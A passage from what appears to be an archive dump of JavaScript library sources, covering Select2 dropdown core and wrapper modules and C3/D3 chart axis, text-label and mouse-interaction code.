(Utils.GetData($element[0], 'select2') != null) { Utils.GetData($element[0], 'select2').destroy(); } this.$element = $element; this.id = this._generateId($element); options = options || {}; this.options = new Options(options, $element); Select2.__super__.constructor.call(this); // Set up the tabindex var tabindex = $element.attr('tabindex') || 0; Utils.StoreData($element[0], 'old-tabindex', tabindex); $element.attr('tabindex', '-1'); // Set up containers and adapters var DataAdapter = this.options.get('dataAdapter'); this.dataAdapter = new DataAdapter($element, this.options); var $container = this.render(); this._placeContainer($container); var SelectionAdapter = this.options.get('selectionAdapter'); this.selection = new SelectionAdapter($element, this.options); this.$selection = this.selection.render(); this.selection.position(this.$selection, $container); var DropdownAdapter = this.options.get('dropdownAdapter'); this.dropdown = new DropdownAdapter($element, this.options); this.$dropdown = this.dropdown.render(); this.dropdown.position(this.$dropdown, $container); var ResultsAdapter = this.options.get('resultsAdapter'); this.results = new ResultsAdapter($element, this.options, this.dataAdapter); this.$results = this.results.render(); this.results.position(this.$results, this.$dropdown); // Bind events var self = this; // Bind the container to all of the adapters this._bindAdapters(); // Register any DOM event handlers this._registerDomEvents(); // Register any internal event handlers this._registerDataEvents(); this._registerSelectionEvents(); this._registerDropdownEvents(); this._registerResultsEvents(); this._registerEvents(); // Set the initial state this.dataAdapter.current(function (initialData) { self.trigger('selection:update', { data: initialData }); }); // Hide the original select $element.addClass('select2-hidden-accessible'); $element.attr('aria-hidden', 'true'); // Synchronize any monitored attributes this._syncAttributes(); Utils.StoreData($element[0], 'select2', this); // Ensure backwards compatibility with $element.data('select2'). $element.data('select2', this); }; Utils.Extend(Select2, Utils.Observable); Select2.prototype._generateId = function ($element) { var id = ''; if ($element.attr('id') != null) { id = $element.attr('id'); } else if ($element.attr('name') != null) { id = $element.attr('name') + '-' + Utils.generateChars(2); } else { id = Utils.generateChars(4); } id = id.replace(/(:|\.|\[|\]|,)/g, ''); id = 'select2-' + id; return id; }; Select2.prototype._placeContainer = function ($container) { $container.insertAfter(this.$element); var width = this._resolveWidth(this.$element, this.options.get('width')); if (width != null) { $container.css('width', width); } }; Select2.prototype._resolveWidth = function ($element, method) { var WIDTH = /^width:(([-+]?([0-9]*\.)?[0-9]+)(px|em|ex|%|in|cm|mm|pt|pc))/i; if (method == 'resolve') { var styleWidth = this._resolveWidth($element, 'style'); if (styleWidth != null) { return styleWidth; } return this._resolveWidth($element, 'element'); } if (method == 'element') { var elementWidth = $element.outerWidth(false); if (elementWidth <= 0) { return 'auto'; } return elementWidth + 'px'; } if (method == 'style') { var style = $element.attr('style'); if (typeof(style) !== 'string') { return null; } var attrs = style.split(';'); for (var i = 0, l = attrs.length; i < l; i = i + 1) { var attr = attrs[i].replace(/\s/g, ''); var matches = attr.match(WIDTH); if (matches !== null && matches.length >= 1) { return matches[1]; } } return null; } return method; }; Select2.prototype._bindAdapters = function () { this.dataAdapter.bind(this, this.$container); this.selection.bind(this, this.$container); this.dropdown.bind(this, this.$container); this.results.bind(this, this.$container); }; Select2.prototype._registerDomEvents = function () { var self = this; this.$element.on('change.select2', function () { self.dataAdapter.current(function (data) { self.trigger('selection:update', { data: data }); }); }); this.$element.on('focus.select2', function (evt) { self.trigger('focus', evt); }); this._syncA = Utils.bind(this._syncAttributes, this); this._syncS = Utils.bind(this._syncSubtree, this); if (this.$element[0].attachEvent) { this.$element[0].attachEvent('onpropertychange', this._syncA); } var observer = window.MutationObserver || window.WebKitMutationObserver || window.MozMutationObserver ; if (observer != null) { this._observer = new observer(function (mutations) { $.each(mutations, self._syncA); $.each(mutations, self._syncS); }); this._observer.observe(this.$element[0], { attributes: true, childList: true, subtree: false }); } else if (this.$element[0].addEventListener) { this.$element[0].addEventListener( 'DOMAttrModified', self._syncA, false ); this.$element[0].addEventListener( 'DOMNodeInserted', self._syncS, false ); this.$element[0].addEventListener( 'DOMNodeRemoved', self._syncS, false ); } }; Select2.prototype._registerDataEvents = function () { var self = this; this.dataAdapter.on('*', function (name, params) { self.trigger(name, params); }); }; Select2.prototype._registerSelectionEvents = function () { var self = this; var nonRelayEvents = ['toggle', 'focus']; this.selection.on('toggle', function () { self.toggleDropdown(); }); this.selection.on('focus', function (params) { self.focus(params); }); this.selection.on('*', function (name, params) { if ($.inArray(name, nonRelayEvents) !== -1) { return; } self.trigger(name, params); }); }; Select2.prototype._registerDropdownEvents = function () { var self = this; this.dropdown.on('*', function (name, params) { self.trigger(name, params); }); }; Select2.prototype._registerResultsEvents = function () { var self = this; this.results.on('*', function (name, params) { self.trigger(name, params); }); }; Select2.prototype._registerEvents = function () { var self = this; this.on('open', function () { self.$container.addClass('select2-container--open'); }); this.on('close', function () { self.$container.removeClass('select2-container--open'); }); this.on('enable', function () { self.$container.removeClass('select2-container--disabled'); }); this.on('disable', function () { self.$container.addClass('select2-container--disabled'); }); this.on('blur', function () { self.$container.removeClass('select2-container--focus'); }); this.on('query', function (params) { if (!self.isOpen()) { self.trigger('open', {}); } this.dataAdapter.query(params, function (data) { self.trigger('results:all', { data: data, query: params }); }); }); this.on('query:append', function (params) { this.dataAdapter.query(params, function (data) { self.trigger('results:append', { data: data, query: params }); }); }); this.on('keypress', function (evt) { var key = evt.which; if (self.isOpen()) { if (key === KEYS.ESC || key === KEYS.TAB || (key === KEYS.UP && evt.altKey)) { self.close(); evt.preventDefault(); } else if (key === KEYS.ENTER) { self.trigger('results:select', {}); evt.preventDefault(); } else if ((key === KEYS.SPACE && evt.ctrlKey)) { self.trigger('results:toggle', {}); evt.preventDefault(); } else if (key === KEYS.UP) { self.trigger('results:previous', {}); evt.preventDefault(); } else if (key === KEYS.DOWN) { self.trigger('results:next', {}); evt.preventDefault(); } } else { if (key === KEYS.ENTER || key === KEYS.SPACE || (key === KEYS.DOWN && evt.altKey)) { self.open(); evt.preventDefault(); } } }); }; Select2.prototype._syncAttributes = function () { this.options.set('disabled', this.$element.prop('disabled')); if (this.options.get('disabled')) { if (this.isOpen()) { this.close(); } this.trigger('disable', {}); } else { this.trigger('enable', {}); } }; Select2.prototype._syncSubtree = function (evt, mutations) { var changed = false; var self = this; // Ignore any mutation events raised for elements that aren't options or // optgroups. This handles the case when the select element is destroyed if ( evt && evt.target && ( evt.target.nodeName !== 'OPTION' && evt.target.nodeName !== 'OPTGROUP' ) ) { return; } if (!mutations) { // If mutation events aren't supported, then we can only assume that the // change affected the selections changed = true; } else if (mutations.addedNodes && mutations.addedNodes.length > 0) { for (var n = 0; n < mutations.addedNodes.length; n++) { var node = mutations.addedNodes[n]; if (node.selected) { changed = true; } } } else if (mutations.removedNodes && mutations.removedNodes.length > 0) { changed = true; } // Only re-pull the data if we think there is a change if (changed) { this.dataAdapter.current(function (currentData) { self.trigger('selection:update', { data: currentData }); }); } }; /** * Override the trigger method to automatically trigger pre-events when * there are events that can be prevented. */ Select2.prototype.trigger = function (name, args) { var actualTrigger = Select2.__super__.trigger; var preTriggerMap = { 'open': 'opening', 'close': 'closing', 'select': 'selecting', 'unselect': 'unselecting', 'clear': 'clearing' }; if (args === undefined) { args = {}; } if (name in preTriggerMap) { var preTriggerName = preTriggerMap[name]; var preTriggerArgs = { prevented: false, name: name, args: args }; actualTrigger.call(this, preTriggerName, preTriggerArgs); if (preTriggerArgs.prevented) { args.prevented = true; return; } } actualTrigger.call(this, name, args); }; Select2.prototype.toggleDropdown = function () { if (this.options.get('disabled')) { return; } if (this.isOpen()) { this.close(); } else { this.open(); } }; Select2.prototype.open = function () { if (this.isOpen()) { return; } this.trigger('query', {}); }; Select2.prototype.close = function () { if (!this.isOpen()) { return; } this.trigger('close', {}); }; Select2.prototype.isOpen = function () { return this.$container.hasClass('select2-container--open'); }; Select2.prototype.hasFocus = function () { return this.$container.hasClass('select2-container--focus'); }; Select2.prototype.focus = function (data) { // No need to re-trigger focus events if we are already focused if (this.hasFocus()) { return; } this.$container.addClass('select2-container--focus'); this.trigger('focus', {}); }; Select2.prototype.enable = function (args) { if (this.options.get('debug') && window.console && console.warn) { console.warn( 'Select2: The `select2("enable")` method has been deprecated and will' + ' be removed in later Select2 versions. Use $element.prop("disabled")' + ' instead.' ); } if (args == null || args.length === 0) { args = [true]; } var disabled = !args[0]; this.$element.prop('disabled', disabled); }; Select2.prototype.data = function () { if (this.options.get('debug') && arguments.length > 0 && window.console && console.warn) { console.warn( 'Select2: Data can no longer be set using `select2("data")`. You ' + 'should consider setting the value instead using `$element.val()`.' ); } var data = []; this.dataAdapter.current(function (currentData) { data = currentData; }); return data; }; Select2.prototype.val = function (args) { if (this.options.get('debug') && window.console && console.warn) { console.warn( 'Select2: The `select2("val")` method has been deprecated and will be' + ' removed in later Select2 versions. Use $element.val() instead.' ); } if (args == null || args.length === 0) { return this.$element.val(); } var newVal = args[0]; if ($.isArray(newVal)) { newVal = $.map(newVal, function (obj) { return obj.toString(); }); } this.$element.val(newVal).trigger('change'); }; Select2.prototype.destroy = function () { this.$container.remove(); if (this.$element[0].detachEvent) { this.$element[0].detachEvent('onpropertychange', this._syncA); } if (this._observer != null) { this._observer.disconnect(); this._observer = null; } else if (this.$element[0].removeEventListener) { this.$element[0] .removeEventListener('DOMAttrModified', this._syncA, false); this.$element[0] .removeEventListener('DOMNodeInserted', this._syncS, false); this.$element[0] .removeEventListener('DOMNodeRemoved', this._syncS, false); } this._syncA = null; this._syncS = null; this.$element.off('.select2'); this.$element.attr('tabindex', Utils.GetData(this.$element[0], 'old-tabindex')); this.$element.removeClass('select2-hidden-accessible'); this.$element.attr('aria-hidden', 'false'); Utils.RemoveData(this.$element[0]); this.$element.removeData('select2'); this.dataAdapter.destroy(); this.selection.destroy(); this.dropdown.destroy(); this.results.destroy(); this.dataAdapter = null; this.selection = null; this.dropdown = null; this.results = null; }; Select2.prototype.render = function () { var $container = $( '<span class="select2 select2-container">' + '<span class="selection"></span>' + '<span class="dropdown-wrapper" aria-hidden="true"></span>' + '</span>' ); $container.attr('dir', this.options.get('dir')); this.$container = $container; this.$container.addClass('select2-container--' + this.options.get('theme')); Utils.StoreData($container[0], 'element', this.$element); return $container; }; return Select2; }); js/wrapper.end.js000064400000000727151677313660007770 0ustar00 // Autoload the jQuery bindings // We know that all of the modules exist above this, so we're safe var select2 = S2.require('jquery.select2'); // Hold the AMD module references on the jQuery function that was just loaded // This allows Select2 to use the internal loader outside of this file, such // as in the language files. jQuery.fn.select2.amd = S2; // Return the Select2 instance for anyone who is importing it. return select2; })); js/jquery.mousewheel.shim.js000064400000000165151677313660012171 0ustar00define([ 'jquery' ], function ($) { // Used to shim jQuery.mousewheel for non-full builds. return $; }); js/wrapper.start.js000064400000002407151677313660010354 0ustar00/*! * Select2 <%= package.version %> * https://select2.github.io * * Released under the MIT license * https://github.com/select2/select2/blob/master/LICENSE.md */ ;(function (factory) { if (typeof define === 'function' && define.amd) { // AMD. Register as an anonymous module. define(['jquery'], factory); } else if (typeof module === 'object' && module.exports) { // Node/CommonJS module.exports = function (root, jQuery) { if (jQuery === undefined) { // require('jQuery') returns a factory that requires window to // build a jQuery instance, we normalize how we use modules // that require this pattern but the window provided is a noop // if it's defined (how jquery works) if (typeof window !== 'undefined') { jQuery = require('jquery'); } else { jQuery = require('jquery')(root); } } factory(jQuery); return jQuery; }; } else { // Browser globals factory(jQuery); } } (function (jQuery) { // This is needed so we can catch the AMD loader configuration and use it // The inner file should be wrapped (by `banner.start.js`) in a function that // returns the AMD loader references. var S2 =js/jquery.select2.js000064400000003023151677313660010412 0ustar00define([ 'jquery', 'jquery-mousewheel', './select2/core', './select2/defaults', './select2/utils' ], function ($, _, Select2, Defaults, Utils) { if ($.fn.select2 == null) { // All methods that should return the element var thisMethods = ['open', 'close', 'destroy']; $.fn.select2 = function (options) { options = options || {}; if (typeof options === 'object') { this.each(function () { var instanceOptions = $.extend(true, {}, options); var instance = new Select2($(this), instanceOptions); }); return this; } else if (typeof options === 'string') { var ret; var args = Array.prototype.slice.call(arguments, 1); this.each(function () { var instance = Utils.GetData(this, 'select2'); if (instance == null && window.console && console.error) { console.error( 'The select2(\'' + options + '\') method was called on an ' + 'element that is not using Select2.' ); } ret = instance[options].apply(instance, args); }); // Check if we should be returning `this` if ($.inArray(options, thisMethods) > -1) { return this; } return ret; } else { throw new Error('Invalid arguments for Select2: ' + options); } }; } if ($.fn.select2.defaults == null) { $.fn.select2.defaults = Defaults; } return Select2; }); axis-internal.js000064400000037352151677320360007704 0ustar00function AxisInternal(component, params) { var internal = this; internal.component = component; internal.params = params || {}; internal.d3 = component.d3; internal.scale = internal.d3.scaleLinear(); internal.range; internal.orient = "bottom"; internal.innerTickSize = 6; internal.outerTickSize = this.params.withOuterTick ? 6 : 0; internal.tickPadding = 3; internal.tickValues = null; internal.tickFormat; internal.tickArguments; internal.tickOffset = 0; internal.tickCulling = true; internal.tickCentered; internal.tickTextCharSize; internal.tickTextRotate = internal.params.tickTextRotate; internal.tickLength; internal.axis = internal.generateAxis(); } AxisInternal.prototype.axisX = function (selection, x, tickOffset) { selection.attr("transform", function (d) { return "translate(" + Math.ceil(x(d) + tickOffset) + ", 0)"; }); }; AxisInternal.prototype.axisY = function (selection, y) { selection.attr("transform", function (d) { return "translate(0," + Math.ceil(y(d)) + ")"; }); }; AxisInternal.prototype.scaleExtent = function (domain) { var start = domain[0], stop = domain[domain.length - 1]; return start < stop ? [ start, stop ] : [ stop, start ]; }; AxisInternal.prototype.generateTicks = function (scale) { var internal = this; var i, domain, ticks = []; if (scale.ticks) { return scale.ticks.apply(scale, internal.tickArguments); } domain = scale.domain(); for (i = Math.ceil(domain[0]); i < domain[1]; i++) { ticks.push(i); } if (ticks.length > 0 && ticks[0] > 0) { ticks.unshift(ticks[0] - (ticks[1] - ticks[0])); } return ticks; }; AxisInternal.prototype.copyScale = function () { var internal = this; var newScale = internal.scale.copy(), domain; if (internal.params.isCategory) { domain = internal.scale.domain(); newScale.domain([domain[0], domain[1] - 1]); } return newScale; }; AxisInternal.prototype.textFormatted = function (v) { var internal = this, formatted = internal.tickFormat ? internal.tickFormat(v) : v; return typeof formatted !== 'undefined' ? formatted : ''; }; AxisInternal.prototype.updateRange = function () { var internal = this; internal.range = internal.scale.rangeExtent ? internal.scale.rangeExtent() : internal.scaleExtent(internal.scale.range()); return internal.range; }; AxisInternal.prototype.updateTickTextCharSize = function (tick) { var internal = this; if (internal.tickTextCharSize) { return internal.tickTextCharSize; } var size = { h: 11.5, w: 5.5 }; tick.select('text').text(function(d) { return internal.textFormatted(d); }).each(function (d) { var box = this.getBoundingClientRect(), text = internal.textFormatted(d), h = box.height, w = text ? (box.width / text.length) : undefined; if (h && w) { size.h = h; size.w = w; } }).text(''); internal.tickTextCharSize = size; return size; }; AxisInternal.prototype.isVertical = function () { return this.orient === 'left' || this.orient === 'right'; }; AxisInternal.prototype.tspanData = function (d, i, scale) { var internal = this; var splitted = internal.params.tickMultiline ? internal.splitTickText(d, scale) : [].concat(internal.textFormatted(d)); if (internal.params.tickMultiline && internal.params.tickMultilineMax > 0) { splitted = internal.ellipsify(splitted, internal.params.tickMultilineMax); } return splitted.map(function (s) { return { index: i, splitted: s, length: splitted.length }; }); }; AxisInternal.prototype.splitTickText = function (d, scale) { var internal = this, tickText = internal.textFormatted(d), maxWidth = internal.params.tickWidth, subtext, spaceIndex, textWidth, splitted = []; if (Object.prototype.toString.call(tickText) === "[object Array]") { return tickText; } if (!maxWidth || maxWidth <= 0) { maxWidth = internal.isVertical() ? 95 : internal.params.isCategory ? (Math.ceil(scale(1) - scale(0)) - 12) : 110; } function split(splitted, text) { spaceIndex = undefined; for (var i = 1; i < text.length; i++) { if (text.charAt(i) === ' ') { spaceIndex = i; } subtext = text.substr(0, i + 1); textWidth = internal.tickTextCharSize.w * subtext.length; // if text width gets over tick width, split by space index or crrent index if (maxWidth < textWidth) { return split( splitted.concat(text.substr(0, spaceIndex ? spaceIndex : i)), text.slice(spaceIndex ? spaceIndex + 1 : i) ); } } return splitted.concat(text); } return split(splitted, tickText + ""); }; AxisInternal.prototype.ellipsify = function(splitted, max) { if (splitted.length <= max) { return splitted; } var ellipsified = splitted.slice(0, max); var remaining = 3; for (var i = max-1 ; i >= 0 ; i--) { var available = ellipsified[i].length; ellipsified[i] = ellipsified[i].substr(0, available-remaining).padEnd(available, '.'); remaining -= available; if (remaining <= 0) { break; } } return ellipsified; }; AxisInternal.prototype.updateTickLength = function () { var internal = this; internal.tickLength = Math.max(internal.innerTickSize, 0) + internal.tickPadding; }; AxisInternal.prototype.lineY2 = function (d) { var internal = this, tickPosition = internal.scale(d) + (internal.tickCentered ? 0 : internal.tickOffset); return internal.range[0] < tickPosition && tickPosition < internal.range[1] ? internal.innerTickSize : 0; }; AxisInternal.prototype.textY = function (){ var internal = this, rotate = internal.tickTextRotate; return rotate ? 11.5 - 2.5 * (rotate / 15) * (rotate > 0 ? 1 : -1) : internal.tickLength; }; AxisInternal.prototype.textTransform = function () { var internal = this, rotate = internal.tickTextRotate; return rotate ? "rotate(" + rotate + ")" : ""; }; AxisInternal.prototype.textTextAnchor = function () { var internal = this, rotate = internal.tickTextRotate; return rotate ? (rotate > 0 ? "start" : "end") : "middle"; }; AxisInternal.prototype.tspanDx = function () { var internal = this, rotate = internal.tickTextRotate; return rotate ? 8 * Math.sin(Math.PI * (rotate / 180)) : 0; }; AxisInternal.prototype.tspanDy = function (d, i) { var internal = this, dy = internal.tickTextCharSize.h; if (i === 0) { if (internal.isVertical()) { dy = -((d.length - 1) * (internal.tickTextCharSize.h / 2) - 3); } else { dy = ".71em"; } } return dy; }; AxisInternal.prototype.generateAxis = function () { var internal = this, d3 = internal.d3, params = internal.params; function axis(g, transition) { var self; g.each(function () { var g = axis.g = d3.select(this); var scale0 = this.__chart__ || internal.scale, scale1 = this.__chart__ = internal.copyScale(); var ticksValues = internal.tickValues ? internal.tickValues : internal.generateTicks(scale1), ticks = g.selectAll(".tick").data(ticksValues, scale1), tickEnter = ticks.enter().insert("g", ".domain").attr("class", "tick").style("opacity", 1e-6), // MEMO: No exit transition. The reason is this transition affects max tick width calculation because old tick will be included in the ticks. tickExit = ticks.exit().remove(), tickUpdate = ticks.merge(tickEnter), tickTransform, tickX, tickY; if (params.isCategory) { internal.tickOffset = Math.ceil((scale1(1) - scale1(0)) / 2); tickX = internal.tickCentered ? 0 : internal.tickOffset; tickY = internal.tickCentered ? internal.tickOffset : 0; } else { internal.tickOffset = tickX = 0; } internal.updateRange(); internal.updateTickLength(); internal.updateTickTextCharSize(g.select('.tick')); var lineUpdate = tickUpdate.select("line").merge(tickEnter.append("line")), textUpdate = tickUpdate.select("text").merge(tickEnter.append("text")); var tspans = tickUpdate.selectAll('text').selectAll('tspan').data(function (d, i) { return internal.tspanData(d, i, scale1); }), tspanEnter = tspans.enter().append('tspan'), tspanUpdate = tspanEnter.merge(tspans).text(function (d) { return d.splitted; }); tspans.exit().remove(); var path = g.selectAll(".domain").data([ 0 ]), pathUpdate = path.enter().append("path").merge(path).attr("class", "domain"); // TODO: each attr should be one function and change its behavior by internal.orient, probably switch (internal.orient) { case "bottom": { tickTransform = internal.axisX; lineUpdate.attr("x1", tickX) .attr("x2", tickX) .attr("y2", function (d, i) { return internal.lineY2(d, i); }); textUpdate.attr("x", 0) .attr("y", function (d, i) { return internal.textY(d, i); }) .attr("transform", function (d, i) { return internal.textTransform(d, i); }) .style("text-anchor", function (d, i) { return internal.textTextAnchor(d, i); }); tspanUpdate.attr('x', 0) .attr("dy", function (d, i) { return internal.tspanDy(d, i); }) .attr('dx', function (d, i) { return internal.tspanDx(d, i); }); pathUpdate.attr("d", "M" + internal.range[0] + "," + internal.outerTickSize + "V0H" + internal.range[1] + "V" + internal.outerTickSize); break; } case "top": { // TODO: rotated tick text tickTransform = internal.axisX; lineUpdate.attr("x1", tickX) .attr("x2", tickX) .attr("y2", function (d, i) { return -1 * internal.lineY2(d, i); }); textUpdate.attr("x", 0) .attr("y", function (d, i) { return -1 * internal.textY(d, i) - (params.isCategory ? 2 : (internal.tickLength - 2)); }) .attr("transform", function (d, i) { return internal.textTransform(d, i); }) .style("text-anchor", function (d, i) { return internal.textTextAnchor(d, i); }); tspanUpdate.attr('x', 0) .attr("dy", function (d, i) { return internal.tspanDy(d, i); }) .attr('dx', function (d, i) { return internal.tspanDx(d, i); }); pathUpdate.attr("d", "M" + internal.range[0] + "," + -internal.outerTickSize + "V0H" + internal.range[1] + "V" + -internal.outerTickSize); break; } case "left": { tickTransform = internal.axisY; lineUpdate.attr("x2", -internal.innerTickSize) .attr("y1", tickY) .attr("y2", tickY); textUpdate.attr("x", -internal.tickLength) .attr("y", internal.tickOffset) .style("text-anchor", "end"); tspanUpdate.attr('x', -internal.tickLength) .attr("dy", function (d, i) { return internal.tspanDy(d, i); }); pathUpdate.attr("d", "M" + -internal.outerTickSize + "," + internal.range[0] + "H0V" + internal.range[1] + "H" + -internal.outerTickSize); break; } case "right": { tickTransform = internal.axisY; lineUpdate.attr("x2", internal.innerTickSize) .attr("y1", tickY) .attr("y2", tickY); textUpdate.attr("x", internal.tickLength) .attr("y", internal.tickOffset) .style("text-anchor", "start"); tspanUpdate.attr('x', internal.tickLength) .attr("dy", function (d, i) { return internal.tspanDy(d, i); }); pathUpdate.attr("d", "M" + internal.outerTickSize + "," + internal.range[0] + "H0V" + internal.range[1] + "H" + internal.outerTickSize); break; } } if (scale1.rangeBand) { var x = scale1, dx = x.rangeBand() / 2; scale0 = scale1 = function (d) { return x(d) + dx; }; } else if (scale0.rangeBand) { scale0 = scale1; } else { tickExit.call(tickTransform, scale1, internal.tickOffset); } tickEnter.call(tickTransform, scale0, internal.tickOffset); self = (transition ? tickUpdate.transition(transition) : tickUpdate) .style('opacity', 1) .call(tickTransform, scale1, internal.tickOffset); }); return self; } axis.scale = function (x) { if (!arguments.length) { return internal.scale; } internal.scale = x; return axis; }; axis.orient = function (x) { if (!arguments.length) { return internal.orient; } internal.orient = x in {top: 1, right: 1, bottom: 1, left: 1} ? x + "" : "bottom"; return axis; }; axis.tickFormat = function (format) { if (!arguments.length) { return internal.tickFormat; } internal.tickFormat = format; return axis; }; axis.tickCentered = function (isCentered) { if (!arguments.length) { return internal.tickCentered; } internal.tickCentered = isCentered; return axis; }; axis.tickOffset = function () { return internal.tickOffset; }; axis.tickInterval = function () { var interval, length; if (params.isCategory) { interval = internal.tickOffset * 2; } else { length = axis.g.select('path.domain').node().getTotalLength() - internal.outerTickSize * 2; interval = length / axis.g.selectAll('line').size(); } return interval === Infinity ? 0 : interval; }; axis.ticks = function () { if (!arguments.length) { return internal.tickArguments; } internal.tickArguments = arguments; return axis; }; axis.tickCulling = function (culling) { if (!arguments.length) { return internal.tickCulling; } internal.tickCulling = culling; return axis; }; axis.tickValues = function (x) { if (typeof x === 'function') { internal.tickValues = function () { return x(internal.scale.domain()); }; } else { if (!arguments.length) { return internal.tickValues; } internal.tickValues = x; } return axis; }; return axis; }; export {AxisInternal};text.js000064400000012277151677320360006111 0ustar00import CLASS from './class'; import { ChartInternal } from './core'; ChartInternal.prototype.initText = function () { var $$ = this; $$.main.select('.' + CLASS.chart).append("g") .attr("class", CLASS.chartTexts); $$.mainText = $$.d3.selectAll([]); }; ChartInternal.prototype.updateTargetsForText = function (targets) { var $$ = this, classChartText = $$.classChartText.bind($$), classTexts = $$.classTexts.bind($$), classFocus = $$.classFocus.bind($$); var mainText = $$.main.select('.' + CLASS.chartTexts).selectAll('.' + CLASS.chartText) .data(targets); var mainTextEnter = mainText.enter().append('g') .attr('class', classChartText) .style('opacity', 0) .style("pointer-events", "none"); mainTextEnter.append('g') .attr('class', classTexts); mainTextEnter.merge(mainText) .attr('class', function (d) { return classChartText(d) + classFocus(d); }); }; ChartInternal.prototype.updateText = function (xForText, yForText, durationForExit) { var $$ = this, config = $$.config, barOrLineData = $$.barOrLineData.bind($$), classText = $$.classText.bind($$); var mainText = $$.main.selectAll('.' + CLASS.texts).selectAll('.' + CLASS.text) .data(barOrLineData); var mainTextEnter = mainText.enter().append('text') .attr("class", classText) .attr('text-anchor', function (d) { return config.axis_rotated ? (d.value < 0 ? 'end' : 'start') : 'middle'; }) .style("stroke", 'none') .attr('x', xForText) .attr('y', yForText) .style("fill", function (d) { return $$.color(d); }) .style("fill-opacity", 0); $$.mainText = mainTextEnter.merge(mainText) .text(function (d, i, j) { return $$.dataLabelFormat(d.id)(d.value, d.id, i, j); }); mainText.exit() .transition().duration(durationForExit) .style('fill-opacity', 0) .remove(); }; ChartInternal.prototype.redrawText = function (xForText, yForText, forFlow, withTransition, transition) { return [ (withTransition ? this.mainText.transition(transition) : this.mainText) .attr('x', xForText) .attr('y', yForText) .style("fill", this.color) .style("fill-opacity", forFlow ? 0 : this.opacityForText.bind(this)) ]; }; ChartInternal.prototype.getTextRect = function (text, cls, element) { var dummy = this.d3.select('body').append('div').classed('c3', true), svg = dummy.append("svg").style('visibility', 'hidden').style('position', 'fixed').style('top', 0).style('left', 0), font = this.d3.select(element).style('font'), rect; svg.selectAll('.dummy') .data([text]) .enter().append('text') .classed(cls ? cls : "", true) .style('font', font) .text(text) .each(function () { rect = this.getBoundingClientRect(); }); dummy.remove(); return rect; }; ChartInternal.prototype.generateXYForText = function (areaIndices, barIndices, lineIndices, forX) { var $$ = this, getAreaPoints = $$.generateGetAreaPoints(areaIndices, false), getBarPoints = $$.generateGetBarPoints(barIndices, false), getLinePoints = $$.generateGetLinePoints(lineIndices, false), getter = forX ? $$.getXForText : $$.getYForText; return function (d, i) { var getPoints = $$.isAreaType(d) ? getAreaPoints : $$.isBarType(d) ? getBarPoints : getLinePoints; return getter.call($$, getPoints(d, i), d, this); }; }; ChartInternal.prototype.getXForText = function (points, d, textElement) { var $$ = this, box = textElement.getBoundingClientRect(), xPos, padding; if ($$.config.axis_rotated) { padding = $$.isBarType(d) ? 4 : 6; xPos = points[2][1] + padding * (d.value < 0 ? -1 : 1); } else { xPos = $$.hasType('bar') ? (points[2][0] + points[0][0]) / 2 : points[0][0]; } // show labels regardless of the domain if value is null if (d.value === null) { if (xPos > $$.width) { xPos = $$.width - box.width; } else if (xPos < 0) { xPos = 4; } } return xPos; }; ChartInternal.prototype.getYForText = function (points, d, textElement) { var $$ = this, box = textElement.getBoundingClientRect(), yPos; if ($$.config.axis_rotated) { yPos = (points[0][0] + points[2][0] + box.height * 0.6) / 2; } else { yPos = points[2][1]; if (d.value < 0 || (d.value === 0 && !$$.hasPositiveValue)) { yPos += box.height; if ($$.isBarType(d) && $$.isSafari()) { yPos -= 3; } else if (!$$.isBarType(d) && $$.isChrome()) { yPos += 3; } } else { yPos += $$.isBarType(d) ? -3 : -6; } } // show labels regardless of the domain if value is null if (d.value === null && !$$.config.axis_rotated) { if (yPos < box.height) { yPos = box.height; } else if (yPos > this.height) { yPos = this.height - 4; } } return yPos; }; size.js000064400000000242151677320360006064 0ustar00export default function() { var size = 0; this.visit(function(node) { if (!node.length) do ++size; while (node = node.next) }); return size; } interaction.js000064400000014360151677320360007437 0ustar00import CLASS from './class'; import { ChartInternal } from './core'; ChartInternal.prototype.initEventRect = function () { var $$ = this, config = $$.config; $$.main.select('.' + CLASS.chart).append("g") .attr("class", CLASS.eventRects) .style('fill-opacity', 0); $$.eventRect = $$.main.select('.' + CLASS.eventRects).append('rect') .attr('class', CLASS.eventRect); // event rect handle zoom event as well if (config.zoom_enabled && $$.zoom) { $$.eventRect.call($$.zoom).on("dblclick.zoom", null); if (config.zoom_initialRange) { // WORKAROUND: Add transition to apply transform immediately when no subchart $$.eventRect.transition().duration(0).call( $$.zoom.transform, $$.zoomTransform(config.zoom_initialRange) ); } } }; ChartInternal.prototype.redrawEventRect = function () { var $$ = this, d3 = $$.d3, config = $$.config, x, y, w, h; // TODO: rotated not supported yet x = 0; y = 0; w = $$.width; h = $$.height; function mouseout() { $$.svg.select('.' + CLASS.eventRect).style('cursor', null); $$.hideXGridFocus(); $$.hideTooltip(); $$.unexpandCircles(); $$.unexpandBars(); } // rects for mouseover $$.main.select('.' + CLASS.eventRects) .style('cursor', config.zoom_enabled ? config.axis_rotated ? 'ns-resize' : 'ew-resize' : null); $$.eventRect .attr('x', x) .attr('y', y) .attr('width', w) .attr('height', h) .on('mouseout', config.interaction_enabled ? function () { if (!config) { return; } // chart is destroyed if ($$.hasArcType()) { return; } mouseout(); } : null) .on('mousemove', config.interaction_enabled ? function () { var targetsToShow, mouse, closest, sameXData, selectedData; if ($$.dragging) { return; } // do nothing when dragging if ($$.hasArcType(targetsToShow)) { return; } targetsToShow = $$.filterTargetsToShow($$.data.targets); mouse = d3.mouse(this); closest = $$.findClosestFromTargets(targetsToShow, mouse); if ($$.mouseover && (!closest || closest.id !== $$.mouseover.id)) { config.data_onmouseout.call($$.api, $$.mouseover); $$.mouseover = undefined; } if (!closest) { mouseout(); return; } if ($$.isScatterType(closest) || !config.tooltip_grouped) { sameXData = [closest]; } else { sameXData = $$.filterByX(targetsToShow, closest.x); } // show tooltip when cursor is close to some point selectedData = sameXData.map(function (d) { return $$.addName(d); }); $$.showTooltip(selectedData, this); // expand points if (config.point_focus_expand_enabled) { $$.unexpandCircles(); selectedData.forEach(function (d) { $$.expandCircles(d.index, d.id, false); }); } $$.expandBars(closest.index, closest.id, true); // Show xgrid focus line $$.showXGridFocus(selectedData); // Show cursor as pointer if point is close to mouse position if ($$.isBarType(closest.id) || $$.dist(closest, mouse) < config.point_sensitivity) { $$.svg.select('.' + CLASS.eventRect).style('cursor', 'pointer'); if (!$$.mouseover) { config.data_onmouseover.call($$.api, closest); $$.mouseover = closest; } } } : null) .on('click', config.interaction_enabled ? function () { var targetsToShow, mouse, closest, sameXData; if ($$.hasArcType(targetsToShow)) { return; } targetsToShow = $$.filterTargetsToShow($$.data.targets); mouse = d3.mouse(this); closest = $$.findClosestFromTargets(targetsToShow, 